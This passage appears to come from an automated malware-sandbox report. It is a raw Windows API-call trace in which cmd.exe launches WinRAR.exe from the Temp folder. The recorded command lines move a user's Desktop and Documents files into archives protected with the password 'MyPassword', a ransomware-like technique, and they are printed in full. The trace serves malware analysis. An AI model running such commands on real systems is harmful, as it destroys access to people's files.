Flags=0x8, Size=0x78) returned 0x4f6aa0 [0046.294] GetProcessHeap () returned 0x4e0000 [0046.294] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6aa0, Size=0x40) returned 0x4f3468 [0046.294] GetProcessHeap () returned 0x4e0000 [0046.294] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f3468) returned 0x40 [0046.294] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0046.294] GetProcessHeap () returned 0x4e0000 [0046.294] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x3c) returned 0x4f41b8 [0046.294] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x40f420 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.294] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x104, lpBuffer=0x40f420, lpFilePart=0x40f41c | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x40f41c*="Desktop") returned 0x19 [0046.294] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.294] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x40f19c | out: lpFindFileData=0x40f19c) returned 0x4f34b0 [0046.294] FindClose (in: hFindFile=0x4f34b0 | out: hFindFile=0x4f34b0) returned 1 [0046.294] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD", lpFindFileData=0x40f19c | out: lpFindFileData=0x40f19c) returned 0x4f34b0 [0046.294] FindClose (in: hFindFile=0x4f34b0 | out: hFindFile=0x4f34b0) returned 1 [0046.294] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", lpFindFileData=0x40f19c | out: lpFindFileData=0x40f19c) returned 0x4f34b0 [0046.294] FindClose (in: hFindFile=0x4f34b0 | out: hFindFile=0x4f34b0) returned 1 [0046.294] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.294] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 1 [0046.295] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\WhuOXYsD\\Desktop") returned 1 [0046.295] GetProcessHeap () returned 0x4e0000 [0046.295] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5f80 | out: hHeap=0x4e0000) returned 1 [0046.295] GetEnvironmentStringsW () returned 0x4f5f80* [0046.295] GetProcessHeap () returned 0x4e0000 [0046.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb00) returned 0x4f8a88 [0046.295] FreeEnvironmentStringsW (penv=0x4f5f80) returned 1 [0046.295] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.295] GetProcessHeap () returned 0x4e0000 [0046.295] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f41b8 | out: hHeap=0x4e0000) returned 1 [0046.295] GetConsoleTitleW (in: lpConsoleTitle=0x40f8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.295] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.295] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.295] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x40f67c, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x40f674, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x40f674*=0xf0d19656, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.295] GetProcessHeap () returned 0x4e0000 [0046.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f34b0 [0046.295] GetProcessHeap () returned 0x4e0000 [0046.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xa4) returned 0x4f51a0 [0046.295] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0046.295] GetProcessHeap () returned 0x4e0000 [0046.295] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x418) returned 0x4f5250 [0046.295] SetErrorMode (uMode=0x0) returned 0x0 [0046.295] SetErrorMode (uMode=0x1) returned 0x0 [0046.295] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\.", nBufferLength=0x208, lpBuffer=0x4f5258, lpFilePart=0x40f3e0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp", lpFilePart=0x40f3e0*="Temp") returned 0x24 [0046.295] SetErrorMode (uMode=0x0) returned 0x1 [0046.296] GetProcessHeap () returned 0x4e0000 [0046.296] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f5250, Size=0x68) returned 0x4f5250 [0046.296] GetProcessHeap () returned 0x4e0000 [0046.296] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5250) returned 0x68 [0046.296] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\.") returned 1 [0046.296] GetProcessHeap () returned 0x4e0000 [0046.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f52c0 [0046.296] GetProcessHeap () returned 0x4e0000 [0046.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xa4) returned 0x4f5320 [0046.296] GetProcessHeap () returned 0x4e0000 [0046.296] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f5320, Size=0x58) returned 0x4f5320 [0046.296] GetProcessHeap () returned 0x4e0000 [0046.296] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5320) returned 0x58 [0046.296] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.296] GetProcessHeap () returned 0x4e0000 [0046.296] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe0) returned 0x4f5380 [0046.297] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f5380, Size=0x76) returned 0x4f5380 [0046.297] GetProcessHeap () returned 0x4e0000 [0046.297] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5380) returned 0x76 [0046.298] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.298] FindFirstFileExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", fInfoLevelId=0x1, lpFindFileData=0x40f17c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x40f17c) returned 0x4f5400 [0046.298] GetProcessHeap () returned 0x4e0000 [0046.298] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x14) returned 0x4f36c8 [0046.298] FindClose (in: hFindFile=0x4f5400 | out: hFindFile=0x4f5400) returned 1 [0046.298] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0046.298] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0046.298] GetConsoleTitleW (in: lpConsoleTitle=0x40f654, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.298] InitializeProcThreadAttributeList (in: lpAttributeList=0x40f4dc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x40f5a4 | out: lpAttributeList=0x40f4dc, lpSize=0x40f5a4) returned 1 [0046.298] UpdateProcThreadAttribute (in: lpAttributeList=0x40f4dc, dwFlags=0x0, Attribute=0x60001, lpValue=0x40f59c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x40f4dc, lpPreviousValue=0x0) returned 1 [0046.298] GetStartupInfoW (in: lpStartupInfo=0x40f498 | out: lpStartupInfo=0x40f498*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0046.298] lstrcmpW (lpString1="\\WinRAR.exe", lpString2="\\XCOPY.EXE") returned -1 [0046.299] CreateProcessW (in: lpApplicationName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", lpCommandLine="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\WhuOXYsD\\Desktop", lpStartupInfo=0x40f538*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x40f584 | out: lpCommandLine="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *", lpProcessInformation=0x40f584*(hProcess=0x78, hThread=0x74, dwProcessId=0x340, dwThreadId=0x6a8)) returned 1 [0047.328] CloseHandle (hObject=0x74) returned 1 [0047.328] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0047.328] GetProcessHeap () returned 0x4e0000 [0047.328] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f8a88 | out: hHeap=0x4e0000) returned 1 [0047.328] GetEnvironmentStringsW () returned 0x4f5f80* [0047.328] GetProcessHeap () returned 0x4e0000 [0047.328] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb00) returned 0x4f8a88 [0047.328] FreeEnvironmentStringsW (penv=0x4f5f80) returned 1 [0047.328] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0067.360] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x40f478 | out: lpExitCode=0x40f478*=0x0) returned 1 [0067.360] CloseHandle (hObject=0x78) returned 1 [0067.360] _vsnwprintf (in: _Buffer=0x40f5c0, _BufferCount=0x13, _Format="%08X", _ArgList=0x40f484 | out: _Buffer="00000000") returned 8 [0067.360] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0067.361] GetProcessHeap () returned 0x4e0000 [0067.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f8a88 | out: hHeap=0x4e0000) returned 1 [0067.361] GetEnvironmentStringsW () returned 0x4fa0c0* [0067.361] GetProcessHeap () returned 0x4e0000 [0067.361] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb26) returned 0x4fabf0 [0067.361] FreeEnvironmentStringsW (penv=0x4fa0c0) returned 1 [0067.361] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.361] GetProcessHeap () returned 0x4e0000 [0067.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4fabf0 | out: hHeap=0x4e0000) returned 1 [0067.361] GetEnvironmentStringsW () returned 0x4fa0c0* [0067.361] GetProcessHeap () returned 0x4e0000 [0067.361] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb26) returned 0x4fabf0 [0067.361] FreeEnvironmentStringsW (penv=0x4fa0c0) returned 1 [0067.361] GetProcessHeap () returned 0x4e0000 [0067.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f0070 | out: hHeap=0x4e0000) returned 1 [0067.361] DeleteProcThreadAttributeList (in: lpAttributeList=0x40f4dc | out: lpAttributeList=0x40f4dc) [0067.361] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.361] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0067.361] _get_osfhandle (_FileHandle=1) returned 0x7 [0067.361] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7641ac | out: lpMode=0x4a7641ac) returned 1 [0067.361] _get_osfhandle (_FileHandle=0) returned 0x3 [0067.361] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7641b0 | out: lpMode=0x4a7641b0) returned 1 [0067.362] SetConsoleInputExeNameW () returned 0x1 [0067.362] GetConsoleOutputCP () returned 0x1b5 [0067.362] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0067.362] SetThreadUILanguage (LangId=0x0) returned 0x409 [0067.362] exit (_Code=0) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4ee9b000" os_pid = "0x8dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x948" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Documents && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" cur_dir = "C:\\Users\\WhuOXYsD\\Desktop\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x20c [0046.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32fca4 | out: lpSystemTimeAsFileTime=0x32fca4*(dwLowDateTime=0x312ba060, dwHighDateTime=0x1d4e94c)) [0046.154] GetCurrentProcessId () returned 0x8dc [0046.154] GetCurrentThreadId () returned 0x20c [0046.154] GetTickCount () returned 0xa63c76 [0046.154] QueryPerformanceCounter (in: lpPerformanceCount=0x32fc9c | out: lpPerformanceCount=0x32fc9c*=12149431321) returned 1 [0046.155] GetModuleHandleA (lpModuleName=0x0) returned 0x4a740000 [0046.155] __set_app_type (_Type=0x1) [0046.155] __p__fmode () returned 0x777531f4 [0046.155] __p__commode () returned 0x777531fc [0046.155] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7621a6) returned 0x0 [0046.155] __getmainargs (in: _Argc=0x4a764238, _Argv=0x4a764240, _Env=0x4a76423c, _DoWildCard=0, _StartInfo=0x4a764140 | out: _Argc=0x4a764238, _Argv=0x4a764240, _Env=0x4a76423c) returned 0 [0046.155] GetCurrentThreadId () returned 0x20c [0046.155] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x20c) returned 0x60 [0046.155] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x769a0000 [0046.155] GetProcAddress (hModule=0x769a0000, lpProcName="SetThreadUILanguage") returned 0x769ca84f [0046.155] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.156] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.156] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32fc34 | out: phkResult=0x32fc34*=0x0) returned 0x2 [0046.156] VirtualQuery (in: lpAddress=0x32fc6b, lpBuffer=0x32fc04, dwLength=0x1c | out: lpBuffer=0x32fc04*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.156] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32fc04, dwLength=0x1c | out: lpBuffer=0x32fc04*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0046.156] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32fc04, dwLength=0x1c | out: lpBuffer=0x32fc04*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0046.156] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32fc04, dwLength=0x1c | out: lpBuffer=0x32fc04*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.156] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32fc04, dwLength=0x1c | out: lpBuffer=0x32fc04*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x150000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.156] GetConsoleOutputCP () returned 0x1b5 [0046.156] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0046.156] SetConsoleCtrlHandler (HandlerRoutine=0x4a75e72a, Add=1) returned 1 [0046.156] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.156] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0046.156] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.156] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7641ac | out: lpMode=0x4a7641ac) returned 1 [0046.157] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.157] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.157] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.157] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7641b0 | out: lpMode=0x4a7641b0) returned 1 [0046.157] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.157] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0046.157] GetEnvironmentStringsW () returned 0x6e2188* [0046.157] GetProcessHeap () returned 0x6d0000 [0046.157] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xaac) returned 0x6e2c40 [0046.157] FreeEnvironmentStringsW (penv=0x6e2188) returned 1 [0046.158] GetProcessHeap () returned 0x6d0000 [0046.158] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x4) returned 0x6e1868 [0046.158] GetEnvironmentStringsW () returned 0x6e2188* [0046.158] GetProcessHeap () returned 0x6d0000 [0046.158] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xaac) returned 0x6e36f8 [0046.158] FreeEnvironmentStringsW (penv=0x6e2188) returned 1 [0046.158] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32eba4 | out: phkResult=0x32eba4*=0x68) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x0, lpData=0x32ebb0*=0x0, lpcbData=0x32eba8*=0x1000) returned 0x2 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x1, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x0, lpData=0x32ebb0*=0x1, lpcbData=0x32eba8*=0x1000) returned 0x2 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x0, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x40, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x40, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x0, lpData=0x32ebb0*=0x40, lpcbData=0x32eba8*=0x1000) returned 0x2 [0046.158] RegCloseKey (hKey=0x68) returned 0x0 [0046.158] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32eba4 | out: phkResult=0x32eba4*=0x68) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x0, lpData=0x32ebb0*=0x40, lpcbData=0x32eba8*=0x1000) returned 0x2 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x1, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x0, lpData=0x32ebb0*=0x1, lpcbData=0x32eba8*=0x1000) returned 0x2 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x0, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.158] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x9, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.159] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x4, lpData=0x32ebb0*=0x9, lpcbData=0x32eba8*=0x4) returned 0x0 [0046.159] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32ebac, lpData=0x32ebb0, lpcbData=0x32eba8*=0x1000 | out: lpType=0x32ebac*=0x0, lpData=0x32ebb0*=0x9, lpcbData=0x32eba8*=0x1000) returned 0x2 [0046.159] RegCloseKey (hKey=0x68) returned 0x0 [0046.159] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca34fbf [0046.159] srand (_Seed=0x5ca34fbf) [0046.159] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Documents && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0046.159] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Documents && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *" [0046.159] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.159] GetProcessHeap () returned 0x6d0000 [0046.159] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x210) returned 0x6e2188 [0046.248] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6e2190, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0046.248] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0046.248] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.248] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.248] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.248] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.248] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.248] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.248] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.248] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.248] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.248] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.248] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.248] GetProcessHeap () returned 0x6d0000 [0046.248] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e2c40 | out: hHeap=0x6d0000) returned 1 [0046.248] GetEnvironmentStringsW () returned 0x6e23a0* [0046.248] GetProcessHeap () returned 0x6d0000 [0046.248] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xac4) returned 0x6e4c80 [0046.248] FreeEnvironmentStringsW (penv=0x6e23a0) returned 1 [0046.248] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.248] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.248] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.248] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.248] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.248] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.248] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.248] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.249] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.249] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.249] GetProcessHeap () returned 0x6d0000 [0046.249] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3c) returned 0x6e2008 [0046.249] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f970 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.249] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x104, lpBuffer=0x32f970, lpFilePart=0x32f96c | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x32f96c*="Desktop") returned 0x19 [0046.249] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.249] FindFirstFileW (in: 